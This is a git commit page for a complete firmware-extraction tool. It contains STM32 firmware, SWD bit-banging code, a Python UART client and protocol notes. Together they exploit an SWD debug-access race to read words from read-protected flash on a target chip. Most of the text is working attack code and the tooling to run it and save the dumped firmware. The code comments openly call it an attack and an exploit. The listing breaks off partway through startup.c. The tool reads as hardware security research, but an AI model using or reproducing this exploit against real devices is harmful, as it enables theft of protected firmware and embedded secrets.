Browse Source

Initial commit

Daniele Lacamera 5 years ago
commit
c6350f2f65
18 changed files with 2608 additions and 0 deletions
  1. 17 0
      LICENSE
  2. 32 0
      Makefile
  3. 17 0
      cli/LICENSE
  4. 382 0
      cli/client.py
  5. 73 0
      link.ld
  6. 282 0
      main.c
  7. 43 0
      main.h
  8. 5 0
      openocd.cfg
  9. 67 0
      protocol.txt
  10. 173 0
      startup.c
  11. 510 0
      swd.c
  12. 56 0
      swd.h
  13. 182 0
      system.c
  14. 249 0
      system.h
  15. 33 0
      target.c
  16. 26 0
      target.h
  17. 431 0
      uart.c
  18. 30 0
      uart.h

+ 17 - 0
LICENSE

@@ -0,0 +1,17 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

+ 32 - 0
Makefile

@@ -0,0 +1,32 @@
+#
+# This Source Code Form is subject to the terms of the MIT License.
+# If a copy of the MIT License was not distributed with this file,
+# you can obtain one at https://opensource.org/licenses/MIT
+#
+
+#compiler flags
+CFLAGS = -mthumb -mcpu=cortex-m4 -g3 -O0 -Wall -Wextra
+
+#linker flags
+LDFLAGS = -T link.ld -nostartfiles
+
+#cross compiler
+CC = arm-none-eabi-gcc
+
+
+all: main.o swd.o target.o uart.o startup.o system.o
+	$(CC) $(LDFLAGS) $(CFLAGS) $^  -o img.elf
+
+image.bin: img.elf
+	arm-none-eabi-objcopy -O binary img.elf $@
+
+flash: image.bin
+	sudo st-flash write $^ 0x08000000
+
+bin: image.bin
+
+dfu: image.bin
+	sudo dfu-util --alt 0 -D image.bin --dfuse-address 0x08000000
+
+clean:
+	rm -f *.o st/startup_stm32f0.o *.elf image.bin tags

+ 17 - 0
cli/LICENSE

@@ -0,0 +1,17 @@
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

+ 382 - 0
cli/client.py

@@ -0,0 +1,382 @@
+#!/usr/bin/python3
+#
+#
+# This Source Code Form is subject to the terms of the MIT License.
+# If a copy of the MIT License was not distributed with this file,
+# you can obtain one at https://opensource.org/licenses/MIT
+#
+
+import argparse
+import os.path
+from datetime import datetime
+import subprocess
+import signal
+import time
+
+from prompt_toolkit import prompt
+from prompt_toolkit.contrib.completers import WordCompleter
+from prompt_toolkit.history import InMemoryHistory
+from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
+
+
+def auto_int(x):
+    return int(x, 0)
+
+
+def parse_args():
+    parser = argparse.ArgumentParser(
+        description='Firmware Extractor User Interface',
+    )
+    parser.add_argument(
+        'SerialDeviceFILE',
+        help='Device File to read from (e.g., /dev/ttyUSB0)'
+    )
+    parser.add_argument(
+        '-i',
+        '--interactive',
+        action='store_true',
+        help='Use interactive mode'
+    )
+    parser.add_argument(
+        '-s',
+        '--start',
+        type=auto_int,
+        default=0x00,
+        help='Set start address',
+    )
+    parser.add_argument(
+        '-l',
+        '--length',
+        type=auto_int,
+        default=0x10000,
+        help='Number of bytes to extract',
+    )
+    parser.add_argument(
+        '-e',
+        '--endianess',
+        default='little',
+        choices=['little', 'big'],
+        help='Set endianess',
+    )
+    parser.add_argument(
+        '-o',
+        '--outfile',
+        default='data-{}.bin'.format(datetime.now().strftime('%Y%m%d_%H%M')),
+        help='Set output file path',
+    )
+
+    return parser.parse_args()
+
+
+finish = False
+
+def sigalarm_handler(signo, frame):
+    # I want to print the statistics in the end of the program.
+    # We can create an infinite loop with this sigalarm_handler,
+    # as multiline mode of send_cmd() uses SIGALARM as well.
+    # The global variable finish handles this case. And helps
+    # us terminate the program when the timeout is fired a second
+    # time.
+    global finish
+    if finish:
+        print()
+        print('Programm finished.')
+        exit()
+
+    print('End of data.')
+    print()
+    finish = True
+    UART('/dev/ttyUSB0').send_cmd('P', True)
+
+
+def decode_ascii(s, outfile):
+    out = ''
+    for i in range(0, len(s), 2):
+        char = int(s[i:i+2], 16)
+        outfile.write(char.to_bytes(1, 'little'))
+        if char > 31 and char < 127:
+            out += chr(char)
+        else:
+            out += '.'
+    return out
+
+
+def print_error(errcode):
+    print()
+    print('StatusCode: {:02X}'.format(errcode))
+
+    if errcode == 0x20:
+        print('Status OK')
+    elif errcode == 0x40:
+        print('Wait/Retry requested (bus access was not granted in time)')
+    elif errcode == 0x06:
+        print('Wait requested + additional OK (previous command OK, but no bus access)')
+    elif errcode == 0x80:
+        print('Fault during command execution (command error (access denied etc.))')
+    elif errcode == 0xA0:
+        print('Fault after successful command execution (reading invalid memory address?).')
+    elif errcode == 0xE0:
+        print('Failure during communication (check connection, no valid status reply received)')
+    else:
+        print('Unknown status code')
+
+
+def _read_enddata(fd):
+    buf = ''
+    nchar = 0
+    state = 'stat'
+    print()
+    # Print remaining data from uart until timeout is reached.
+    while True:
+        signal.alarm(1)
+        char = fd.read(1)
+        signal.alarm(0)
+
+        print(char, end='')
+        buf += char
+
+        if char == '!':
+            state = 'err'
+
+        if state == 'err':
+            if nchar == 25:
+                print_error(int(buf[-8:], 16))
+            nchar += 1
+
+
+def read_ascii(fd, outfile):
+    l = 0
+    c = 0
+    line = ''
+    lineraw = ''
+    outfile = open(outfile, 'ab', 16)
+
+    while True:
+        line += '0x{:08X}: '.format(16*l)
+        decoded_line = ''
+
+        while c < 32:
+            char = fd.read(1)
+
+            if char == ' ':
+                continue
+
+            lineraw += char
+
+            if c % 2 == 0 and c != 0:
+                line += ' '
+            if c % 16 == 0 and c != 0:
+                line += ' '
+
+            # Reached end of data.
+            # Flush all buffers and read special stuff at the end.
+            if char == '\r' or char == '\n':
+                try:
+                    line += '  |' + decode_ascii(lineraw, outfile) + '|'
+                except ValueError:
+                    pass
+                print(line)
+                outfile.flush()
+                outfile.close()
+                _read_enddata(fd)
+            c += 1
+            line += char
+
+        line += '  |' + decode_ascii(lineraw, outfile) + '|'
+
+        print(line)
+        line = ''
+        lineraw = ''
+        l += 1
+        c = 0
+
+
+class UART:
+
+    def __init__(self, devnode):
+        self.devnode = devnode
+        subprocess.call( [
+            'stty',
+            '--file={}'.format(self.devnode),
+            '115200',
+            'raw',
+            '-echok',
+            '-echo',
+        ])
+
+    def send_cmd(self, code, multiline=False):
+        readfd = open(self.devnode, 'r')
+        writefd = open(self.devnode, 'w')
+        time.sleep(0.1)
+        writefd.write(code + '\n')
+
+        while True:
+            try:
+                if multiline:
+                    signal.alarm(1)
+                char = readfd.read(1)
+                signal.alarm(0)
+                if not multiline:
+                    if char == '\r' or char == '\n':
+                        print()
+                        break
+                print(char, end='')
+            except UnicodeDecodeError:
+                print('Received garbage from target.')
+                print('Is it already running?')
+                print('Shutting down...')
+                exit(1)
+
+        writefd.close()
+        readfd.close()
+
+    def open(self, mode):
+        return open(self.devnode, mode)
+
+
+class REPL:
+
+    def __init__(self, start=0x00, length=0x10000, mode='bin',
+                 byteorder='little', devnode='/dev/ttyUSB0'):
+        self.history = InMemoryHistory()
+        self.promt = '> '
+        self.config = {
+            'start': start,
+            'length': length,
+            'byteorder': byteorder,
+            'outfile': 'data-{}.bin'.format(datetime.now().strftime('%Y%m%d_%H%M')),
+        }
+        self.uart = UART(devnode)
+
+    def handle_cmd(self, cmd, *args):
+        if cmd == 'set':
+            self.set_config(args[0], args[1])
+        elif cmd == 'run':
+            self.apply_config()
+            self.uart.send_cmd('S')
+            fd = self.uart.open('r')
+            print()
+            read_ascii(fd, self.config['outfile'])
+            fd.close()
+        elif cmd == 'cmd':
+            self.uart.send_cmd(args[0], True)
+        elif cmd == 'help':
+            self.show_help()
+        elif cmd == 'exit':
+            print('Exit command received. Leaving...')
+            exit(0)
+        else:
+            print('Error: Unknown command.')
+            print("Try 'help'")
+
+    def show_config(self):
+        print('# Current Configuration')
+        lines = []
+        if self.config:
+            tpl = '  {:<12}: '
+            for key, val in self.config.items():
+                if isinstance(val, int):
+                    fstr = tpl + '0x{:X}'
+                else:
+                    fstr = tpl + '{}'
+                lines.append(fstr.format(key, val))
+            print('\n'.join(sorted(lines)))
+
+    def show_help(self):
+        print('# Supported commands')
+        print('  set KEY VAL : Set configuration value KEY to VAL')
+        print('  cmd CODE    : Send command code to UART')
+        print('  run         : Start reading out code')
+        print('  help        : Show this help page')
+        print('  exit        : Terminate programm')
+
+    def set_config(self, key, val):
+        if key == 'byteorder':
+            if val not in ('little', 'big'):
+                print('Error: Wrong byteorder. Choose "little" or "big".')
+                return
+        elif key == 'start':
+            val = int(val, 0)
+            if val > 0x10000:
+                print('Error: Start address is too large.')
+                return
+        elif key == 'length':
+            val = int(val, 0)
+        elif key == 'outfile':
+            self.config[key] = str(val)
+        else:
+            print('Error: Config key does not exist.')
+            return
+
+        self.config[key] = val
+        self.show_config()
+
+    def apply_config(self):
+        self.uart.send_cmd('A{:X}'.format(self.config['start']))
+        self.uart.send_cmd('L{:X}'.format(self.config['length']))
+        # Hardcode HEX mode
+        self.uart.send_cmd('H')
+        cmd = 'e' if self.config['byteorder'] == 'little' else 'E'
+        self.uart.send_cmd(cmd)
+
+    def run_loop(self):
+        self.show_help()
+        print()
+        self.show_config()
+
+        try:
+            while True:
+                cmd = prompt(self.promt,
+                    history=self.history,
+                    auto_suggest=AutoSuggestFromHistory(),
+                )
+
+                cmd = cmd.strip().split()
+                cmd = cmd if cmd else ''
+
+                if cmd != '':
+                    self.handle_cmd(*cmd)
+        except KeyboardInterrupt:
+            print('KeyboardInterrupt received. Shutting down...')
+            exit(1)
+        except EOFError:
+            print('Reached end of line. Leaving...')
+            exit(0)
+
+
+def main():
+    args = parse_args()
+    signal.signal(signal.SIGALRM, sigalarm_handler)
+
+    if not os.path.exists(args.SerialDeviceFILE):
+        print('Error: No such file.')
+        exit(1)
+
+    if args.interactive:
+        REPL(devnode=args.SerialDeviceFILE).run_loop()
+        exit(0)
+
+    # If the script is not in interactive mode, issue this stuff
+    # manually.
+    uart = UART(args.SerialDeviceFILE)
+    uart.send_cmd('A{:X}'.format(args.start))
+    uart.send_cmd('L{:X}'.format(args.length))
+    uart.send_cmd('H')  # Hardcode HEX mode
+    if args.endianess == 'big':
+        uart.send_cmd('E')
+    else:
+        uart.send_cmd('e')
+    uart.send_cmd('S')
+    fd = uart.open('r')
+    print()
+
+    try:
+        read_ascii(fd, args.outfile)
+    except KeyboardInterrupt:
+        print('Leaving...')
+    finally:
+        fd.close()
+
+
+if __name__ == '__main__':
+    main()

+ 73 - 0
link.ld

@@ -0,0 +1,73 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+/* entry point address for ELF */
+ENTRY(isr_reset)
+
+/* place stack at 64K SRAM */
+_end_stack = 0x20010000;
+
+/* Specify the memory areas */
+MEMORY
+{
+  FLASH (rx)	: ORIGIN = 0x08000000, LENGTH = 64K
+  RAM (xrw) 	: ORIGIN = 0x20000000, LENGTH = 128K
+}
+
+SECTIONS
+{
+ .text :
+  {
+    . = ALIGN(4);
+    *(.isr_vector)
+    *(.text)
+    *(.text*)
+    . = ALIGN(4);
+    _end_text = .;
+  } >FLASH
+
+  .rodata :
+  {
+    . = ALIGN(8);
+    *(.rodata)
+    *(.rodata*)
+    . = ALIGN(8);
+  } >FLASH
+
+  _stored_data = LOADADDR(.data);
+
+  .data :
+  {
+    . = ALIGN(8);
+    _start_data = .;
+    *(.data)
+    *(.data*)
+    . = ALIGN(8);
+    _end_data = .;
+  } >RAM AT> FLASH
+
+  . = ALIGN(8);
+  .bss :
+  {
+    _start_bss = .;
+    __bss_start__ = _start_bss;
+    *(.bss)
+    *(.bss*)
+    *(COMMON)
+
+    . = ALIGN(8);
+    _end_bss = .;
+    __bss_end__ = _end_bss;
+    _start_heap = _end_bss;
+  } >RAM
+
+  /DISCARD/ :
+  {
+    libc.a ( * )
+    libm.a ( * )
+    libgcc.a ( * )
+  }
+}

+ 282 - 0
main.c

@@ -0,0 +1,282 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#include <stdint.h>
+#include <string.h>
+#include "main.h"
+#include "system.h"
+#include "swd.h"
+#include "target.h"
+#include "uart.h"
+
+
+static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data );
+
+static extractionStatistics_t extractionStatistics = {0u};
+static uartControl_t uartControl = {0u};
+
+
+/* Reads one 32-bit word from read-protection Flash memory.
+   Address must be 32-bit aligned */
+static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data )
+{
+	swdStatus_t dbgStatus = swdStatusNone;
+
+	/* Add some jitter on the moment of attack (may increase attack effectiveness) */
+	static uint16_t delayJitter = DELAY_JITTER_MS_MIN;
+
+	uint32_t extractedData = 0u;
+	uint32_t idCode = 0u;
+
+	/* Limit the maximum number of attempts PER WORD */
+	uint32_t numReadAttempts = 0u;
+
+
+	/* try up to MAX_READ_TRIES times until we have the data */
+	do
+	{
+
+        LED_BSRR |= (1 << (GREEN_LED_PIN + 16)); /* off */
+		targetSysOn();
+
+		waitms(5u);
+
+		dbgStatus = swdInit( &idCode );
+
+		if (likely(dbgStatus == swdStatusOk))
+		{
+			dbgStatus = swdEnableDebugIF();
+		}
+
+		if (likely(dbgStatus == swdStatusOk))
+		{
+			dbgStatus = swdSetAP32BitMode( NULL );
+		}
+
+		if (likely(dbgStatus == swdStatusOk))
+		{
+			dbgStatus = swdSelectAHBAP();
+		}
+
+		if (likely(dbgStatus == swdStatusOk))
+		{
+			targetSysUnReset();
+			waitms(delayJitter);
+
+			/* The magic happens here! */
+			dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData );
+		}
+
+		targetSysReset();
+		++(extractionStatistics.numAttempts);
+
+		/* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
+		if (dbgStatus == swdStatusOk)
+		{
+			*data = extractedData;
+			++(extractionStatistics.numSuccess);
+            LED_BSRR |= (1 << (GREEN_LED_PIN)); /* on */
+		}
+		else
+		{
+			++(extractionStatistics.numFailure);
+			++numReadAttempts;
+
+			delayJitter += DELAY_JITTER_MS_INCREMENT;
+			if (delayJitter >= DELAY_JITTER_MS_MAX)
+			{
+				delayJitter = DELAY_JITTER_MS_MIN;
+			}
+		}
+
+		targetSysOff();
+
+		waitms(1u);
+	}
+	while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));
+
+	return dbgStatus;
+}
+
+
+void printExtractionStatistics( void )
+{
+	uartSendStr("Statistics: \r\n");
+
+	uartSendStr("Attempts: 0x");
+	uartSendWordHexBE(extractionStatistics.numAttempts);
+	uartSendStr("\r\n");
+
+	uartSendStr("Success: 0x");
+	uartSendWordHexBE(extractionStatistics.numSuccess);
+	uartSendStr("\r\n");
+
+	uartSendStr("Failure: 0x");
+	uartSendWordHexBE(extractionStatistics.numFailure);
+	uartSendStr("\r\n");
+}
+
+
+int main()
+{
+    uint32_t reg;
+	/* Enable all GPIO clocks */
+    AHB1_CLOCK_ER |= (GPIOA_AHB1_CLOCK_ER | GPIOB_AHB1_CLOCK_ER | GPIOC_AHB1_CLOCK_ER | GPIOD_AHB1_CLOCK_ER | GPIOE_AHB1_CLOCK_ER | GPIOF_AHB1_CLOCK_ER); 
+
+
+    /* Leds */
+#ifdef CUSTOM_HW
+    reg = GPIOE_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
+    GPIOE_MODE = reg | (1 << (BLUE_LED_PIN * 2));
+    reg = GPIOE_PUPD & (0x03 <<  (BLUE_LED_PIN * 2));
+    GPIOE_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
+
+    GPIOD_MODE &= ~(0x03 << (BUTTON_PIN * 2));
+#else
+
+    reg = GPIOD_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
+    GPIOD_MODE = reg | (1 << (BLUE_LED_PIN * 2));
+    reg = GPIOD_PUPD & (0x03 <<  (BLUE_LED_PIN * 2));
+    GPIOD_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
+    
+    reg = GPIOD_MODE & ~ (0x03 << (RED_LED_PIN * 2));
+    GPIOD_MODE = reg | (1 << (RED_LED_PIN * 2));
+    reg = GPIOD_PUPD & (0x03 <<  (RED_LED_PIN * 2));
+    GPIOD_PUPD = reg | (0x02 << (RED_LED_PIN * 2));
+    
+    reg = GPIOD_MODE & ~ (0x03 << (GREEN_LED_PIN * 2));
+    GPIOD_MODE = reg | (1 << (GREEN_LED_PIN * 2));
+    reg = GPIOD_PUPD & (0x03 <<  (GREEN_LED_PIN * 2));
+    GPIOD_PUPD = reg | (0x02 << (GREEN_LED_PIN * 2));
+    /* button */
+    GPIOA_MODE &= ~ (0x03 << (BUTTON_PIN * 2));
+#endif
+    
+
+    /* target (swd) */
+    reg = GPIOA_MODE & ~ (0x03 << (PIN_SWCLK * 2));
+    GPIOA_MODE = reg | (1 << (PIN_SWCLK * 2));
+    reg = GPIOA_PUPD & (0x03 <<  (PIN_SWCLK * 2));
+    GPIOA_PUPD = reg | (0x02 << (PIN_SWCLK * 2));
+    reg = GPIOA_OSPD & (0x03 << (PIN_SWCLK * 2));
+    GPIOA_OSPD = reg | (0x03 << (PIN_SWCLK * 2));
+    
+    reg = GPIOA_MODE & ~ (0x03 << (PIN_SWDIO * 2));
+    GPIOA_MODE = reg | (1 << (PIN_SWDIO * 2));
+    reg = GPIOA_PUPD & (0x03 <<  (PIN_SWDIO * 2));
+    GPIOA_PUPD = reg | (0x01 << (PIN_SWDIO * 2));
+    reg = GPIOA_OSPD & (0x03 << (PIN_SWDIO * 2));
+    GPIOA_OSPD = reg | (0x03 << (PIN_SWDIO * 2));
+
+    /* target (ctrl) */
+    reg = GPIOA_MODE & ~ (0x03 << (PIN_POWER * 2));
+    GPIOA_MODE = reg | (1 << (PIN_POWER * 2));
+    reg = GPIOA_PUPD & (0x03 <<  (PIN_POWER * 2));
+    GPIOA_PUPD = reg | (0x02 << (PIN_POWER * 2));
+    reg = GPIOA_OSPD & (0x03 << (PIN_POWER * 2));
+    GPIOA_OSPD = reg | (0x03 << (PIN_POWER * 2));
+    
+    reg = GPIOA_MODE & ~ (0x03 << (PIN_RESET * 2));
+    GPIOA_MODE = reg | (1 << (PIN_RESET * 2));
+    reg = GPIOA_PUPD & (0x03 <<  (PIN_RESET * 2));
+    GPIOA_PUPD = reg | (0x02 << (PIN_RESET * 2));
+    reg = GPIOA_OSPD & (0x03 << (PIN_RESET * 2));
+    GPIOA_OSPD = reg | (0x03 << (PIN_RESET * 2));
+    
+
+    clock_pll_on(0);
+    systick_on();
+	uartInit();
+    LED_BSRR |= (1 << BLUE_LED_PIN) | (1 << GREEN_LED_PIN);
+
+	uartControl.transmitHex = 0u;
+	uartControl.transmitLittleEndian = 1u;
+	uartControl.readoutAddress = 0x00000000u;
+	uartControl.readoutLen = (64u * 1024u);
+	uartControl.active = 0u;
+
+
+	uint32_t readoutInd = 0u;
+	uint32_t flashData = 0xFFFFFFFFu;
+	uint32_t btnActive = 0u;
+	uint32_t once = 0u;
+    uint32_t waitcycles = 0u;
+	swdStatus_t status = swdStatusOk;
+
+	while (1u)
+	{
+		uartReceiveCommands( &uartControl );
+
+		/* Start as soon as the button B1 has been pushed */
+        if (!(BUTTON_IDR & (1 << BUTTON_PIN)))
+			btnActive = 1u;
+
+		if (uartControl.active || btnActive)
+		{
+			/* reset statistics on extraction start */
+			if (!once)
+			{
+				once = 1u;
+
+				extractionStatistics.numAttempts = 0u;
+				extractionStatistics.numSuccess = 0u;
+				extractionStatistics.numFailure = 0u;
+			}
+
+			status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData);
+
+			if (status == swdStatusOk)
+			{
+
+				if (!(uartControl.transmitHex))
+				{
+					uartSendWordBin( flashData, &uartControl );
+				}
+				else
+				{
+					uartSendWordHex( flashData, &uartControl );
+					uartSendStr(" ");
+				}
+
+				readoutInd += 4u;
+			}
+			else
+			{
+				if (uartControl.transmitHex)
+				{
+					uartSendStr("\r\n!ExtractionFailure");
+					uartSendWordHexBE( status );
+				}
+			}
+
+			if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk))
+			{
+				btnActive = 0u;
+				uartControl.active = 0u;
+				readoutInd = 0u;
+				once = 0u;
+
+				/* Print EOF in HEX mode */
+				if (uartControl.transmitHex != 0u)
+				{
+					uartSendStr("\r\n");
+				}
+			}
+		} else { /* Idle */
+            if (waitcycles++ == 2000000) {
+                LED_BSRR |= (1 << BLUE_LED_PIN);
+                waitcycles = 0;
+            }
+            if (waitcycles == 1000000) {
+                LED_BSRR |= (1 << (BLUE_LED_PIN + 16));
+            }
+                
+        }
+
+	}
+
+	return 0u;
+}

+ 43 - 0
main.h

@@ -0,0 +1,43 @@
+/*
+ * This Source Code Form is subject to the terms of the MIT License.
+ * If a copy of the MIT License was not distributed with this file,
+ * you can obtain one at https://opensource.org/licenses/MIT
+ */
+
+#ifndef INC_MAIN_H
+#define INC_MAIN_H
+#include <stdint.h>
+#include "system.h"
+
+
+#ifndef NULL
+#define NULL ((void*) 0)
+#endif
+
+#define likely(x)       __builtin_expect((x),1)
+#define unlikely(x)     __builtin_expect((x),0)
+
+#define GPIO_LED_BLUE (GPIOD)
+#define GPIO_LED_GREEN (GPIOD)
+#define GPIO_BUTTON (GPIOA)
+
+#define MAX_READ_ATTEMPTS (100u)
+
+/* all times in milliseconds */
+/* minimum wait time between reset deassert and attack */
+#define DELAY_JITTER_MS_MIN (20u)
+/* increment per failed attack */
+#define DELAY_JITTER_MS_INCREMENT (1u)
+/* maximum wait time between reset deassert and attack */
+#define DELAY_JITTER_MS_MAX (50u)
+
+/* flash readout statistics */
+typedef struct {
+	uint32_t numAttempts;
+	uint32_t numSuccess;
+	uint32_t numFailure;
+} extractionStatistics_t;
+
+void printExtractionStatistics( void );
+
+#endif

+ 5 - 0
openocd.cfg

@@ -0,0 +1,5 @@
+#Include configs from openocd
+source [find interface/jlink.cfg]
+transport select swd 
+source [find target/stm32f4x.cfg]
+

+ 67 - 0
protocol.txt

@@ -0,0 +1,67 @@
+Communication protocol documentation
+
+UART interface, 3.3V signal levels
+Pin PA2: TX (microcontroller -> PC)
+Pin PA3: RX (microcontroller <- PC)
+115200 Baud (115k2 Baud)
+8 Bit
+No Parity
+1 Stop Bit
+
+Each command consists of 1 up to several characters followed by a newline (\n). \r and \r\n is also accepted as command ending.
+
+- Set the start address for firmware extraction (default: 0 = 0x00000000 = "A00000000"):
+	AXXXXXXXX\n (where XXXXXXXX is the address HEX. E.g., send A08000000\n to start firmware extraction from address 0x08000000)
+
+- Set the length of data extraction (default: 65535 = 0x10000 = "L00010000"):
+	LXXXXXXXX\n (where XXXXXXXX is the length in HEX. E.g., send L00001000\n to extract 0x1000 = 4096 bytes of data.)
+
+- Set BIN output mode (default):
+	B\n
+
+- Set HEX output mode:
+	H\n
+
+- Select Little Endian output (default):
+	e\n
+
+- Select Big Endian output:
+	E\n
+
+- Start Firmware extraction:
+	S\n
+
+- Print statistics:
+	P\n
+
+
+The microcontroller will acknowledge every valid command with a human-readible reply containing the current setting. An invalid command will be rejected with "ERROR: unknown command". Each reply microcontroller->PC is ended by \r\n.
+The address as well as the length (A and L commands) will be automatically adjusted to 32-bit alignment.
+
+Example for HEX output mode, the firmware dump is also ended by \r\n:
+AF77D29D 1526DB04 8316DC73 120B63E3 843B6494 \r\n
+
+In BIN mode, the firmware is sent directly in binary form without any modification (\r\n at the end is also omitted).
+
+Little Endian mode is recommended for firmware extraction. Disassemblers like radare2 expect the firmware binary to be in little endian. Strings will be directly readible when using little endian.
+
+The success ratio depends on bus load and other parameters. If a read access fails, it will be retried automatically.
+When reading an address failes for more than 100 times, the extraction will be aborted, since there is a major issue. The system will print
+\r\n!ExtractionFailureXXXXXXXX\r\n
+where XXXXXXXX is the SWD status in hex. (see swd.h swdStatus_t).
+Reasons can be:
+- Incorrect connection (SWD, Reset and Power connected correctly? Have you removed any (additional) debugger form the SWD?)
+- The chip is not affected by the exploit (may apply to future revisions, if ST decides to update their IC masks...) 
+- You are trying to read into non-existant memory (e.g. Trying to read 128KBytes out of a 64KByte device)
+
+
+The statistics function prints the following data in Hex:
+Statistics: \r\n
+Attempts: 0x00001234\r\n
+Success: 0x00001200\r\n
+Failure: 0x00000034\r\n
+
+Statistics are reset each time the system start extraction (= when the "S" command is received).
+Attempts: Number of total read attempts (Sum of Success and Failure)
+Success: Number of successful reads
+Failure: Nummer of unsuccessful reads

+ 173 - 0
startup.c

@@ -0,0 +1,173 @@
+/*
+ *
+ * MIT License
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be included in all
+ * copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+extern unsigned int _stored_data;
+extern unsigned int _start_data;
+extern unsigned int _end_data;
+extern unsigned int _start_bss;
+extern unsigned int _end_bss;
+extern unsigned int _end_stack;
+extern unsigned int _start_heap;
+
+extern void isr_uart3(void);
+
+
+#define STACK_PAINTING
+
+static volatile unsigned int avail_mem = 0;
+static unsigned int sp;
+
+extern void main(void);
+void isr_reset(void) {
+    register unsigned int *src, *dst;
+    src = (unsigned int *) &_stored_data;
+    dst = (unsigned int *) &_start_data;
+    /* Copy the .data section from flash to RAM. */
+    while (dst < (unsigned int *)&_end_data) {
+        *dst = *src;
+        dst++;
+        src++;
+    }
+
+    /* Initialize the BSS section to 0 */
+    dst = &_start_bss;
+    while (dst < (unsigned int *)&_end_bss) {
+        *dst = 0U;
+        dst++;
+    }
+
+    /* Paint the stack. */
+    avail_mem = &_end_stack - &_start_heap;
+#ifdef STACK_PAINTING
+    {
+        asm volatile("mrs %0, msp" : "=r"(sp));
+        dst = ((unsigned int *)(&_end_stack)) - (8192 / sizeof(unsigned int)); ;
+        while ((unsigned int)dst < sp) {
+            *dst = 0xDEADC0DE;
+            dst++;
+        }
+    }
+#endif
+    /* Run the program! */
+    main();
+}
+
+void isr_fault(void)
+{
+    /* Panic. */
+    while(1) ;;
+}
+
+
+void isr_memfault(void)
+{
+    /* Panic. */
+    while(1) ;;
+}
+
+void isr_busfault(void)
+{
+    /* Panic. */
+    while(1) ;;
+}
+
+void isr_usagefault(void)
+{
+    /* Panic. */
+    while(1) ;;
+}
+        
+
+void isr_empty(void)
+{
+    /* Ignore the event and continue */
+}
+
+
+
+__attribute__ ((section(".isr_vector")))
+void (* const IV[])(void) =
+{
+	(void (*)(void))(&_end_stack),
+	isr_reset,                   // Reset
+	isr_fault,                   // NMI
+	isr_fault,                   // HardFault
+	isr_memfault,                // MemFault
+	isr_busfault,                // BusFault
+	isr_usagefault,              // UsageFault
+	0, 0, 0, 0,                  // 4x reserved
+	isr_empty,                   // SVC
+	isr_empty,                   // DebugMonitor
+	0,                           // reserved
+	isr_empty,                   // PendSV
+	isr_empty,                   // SysTick
+    
+    isr_empty,              // NVIC_WWDG_IRQ 0
+    isr_empty,              // PVD_IRQ 1
+    isr_empty,              // TAMP_STAMP_IRQ 2
+    isr_empty,              // RTC_WKUP_IRQ 3
